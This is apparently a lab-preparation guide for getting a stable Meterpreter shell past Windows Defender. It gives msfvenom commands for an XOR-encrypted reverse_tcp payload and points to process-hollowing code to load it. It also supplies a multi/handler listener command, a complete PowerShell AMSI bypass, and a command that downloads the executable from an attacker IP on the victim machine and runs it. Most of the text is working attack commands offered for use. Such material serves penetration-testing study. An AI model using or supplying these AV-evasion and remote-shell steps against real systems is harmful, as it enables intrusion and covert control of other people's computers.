Meterpreter_AV_bypass

First thing is to get a stable shell. This is very important and you must do it properly and as soon as you have your first shell, because this executable will follow you until the end of the lab ;)

# IMPORTANT /!\

Please follow carefully this guide. It works, I garantee it and Offensive Security don't change the payload unless they change the lessons (they won't put AV evasion not covered in the materials), and all the Windows Defender database are all the same. If it does not work, you probably did something wrong, try again before thinking they patched it.

As always, to debug it, please try in the Windows Dev Box first with Defender disabled (no need to bypass AV if you compiled for ARM...) and then enable Defender in Dev Box AFTER first step.

Compile a x64 Meterpreter EXE payload that uses Process Hollowing and encryption.

This is covered in the PDF, but the "Shellcode Process Hollowing" from https://github.com/chvancooten/OSEP-Code-Snippets/tree/main/Shellcode%20Process%20Hollowing does it without hassle. Do not forget to XOR encrypt the shellcode (use https://github.com/chvancooten/OSEP-Code-Snippets/blob/main/Linux%20Shellcode%20Encoder/shellcodeCrypter-msfvenom.py), do not use msf's encryption.

Identical to (of course don't use 0x00 as a key...): `msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=tun0 LPORT=443 --encrypt xor --encrypt-key $(printf "\xFA") -f csharp`  
If you have error "/usr/lib/ruby/3.0.0/optparse.rb:552:in `match': invalid byte sequence in UTF-8 (ArgumentError)", use another key like \x6A, it's because input weird character is not handled by msfvenom.

`msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=tun0 LPORT=443 --encrypt xor --encrypt-key 'A' -f csharp`  
and the key in the Decrypter will be 0x41 (the hexadecimal value of A), around line 178.

Put the buf array into the XOR Process Hollowing runner, and compile with according architecture (x64 here, if you compile with "Any CPU" you will have error when running the EXE).

On Kali, set the listener (with options to stay active after a new connection):  
`sudo msfconsole -q -x "use exploit/multi/handler;set payload windows/x64/meterpreter/reverse_tcp;set EXITFUNC thread;set LPORT 443;set LHOST tun0;set ExitOnSession false; run -j -z"`

Then, on victim, bypass AMSI (not necessary, since it already bypass AV):  
`$a=[Ref].Assembly.GetTypes();Foreach($b in $a) {if ($b.Name -like "*iUtils") {$c=$b}};$d=$c.GetFields('NonPublic,Static');Foreach($e in $d) {if ($e.Name -like "*Context") {$f=$e}};$g=$f.GetValue($null);[IntPtr]$ptr=$g;[Int32[]]$buf = @(0);[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 1)`

And download and run the Meterpreter (make sure the folder is writable, or user C:\Windows\Tasks) :  
`Invoke-WebRequest -Uri http://192.168.X.Y/Meterpreter.exe -Outfile C:\Meterpreter.exe; C:\Meterpreter.exe`





(another technique to generate the payload, it does the same as the msfvenom, it's just a wrapper)
`python3 shellcodeCrypter-msfvenom.py.py tun0 443 cs xor 0xfa`  

    [i] Generating payload windows/x64/meterpreter/reverse_tcp for LHOST=tun0 and LPORT=443
	[......]
    // xor-encoded with key 0xfa
    byte[] buf = new byte[511] {
    0xc3,0x77,0xbc,0xdb,0xcf,0xd7,0xf3,0x3f,0x3f,0x3f,0x7e,0x6e,0x7e,.......,0xea
    };

    [i] Decoding function:
    for (int i = 0; i < buf.Length; i++)
        {
            buf[i] = (byte)((uint)buf[i] ^ 0xfa);
        }

The "[i] Decoding function" part generated by the Python script MUST BE replaced around line 178 (basically just adapt the 0xfa by the key you want), do not copy it right after the array.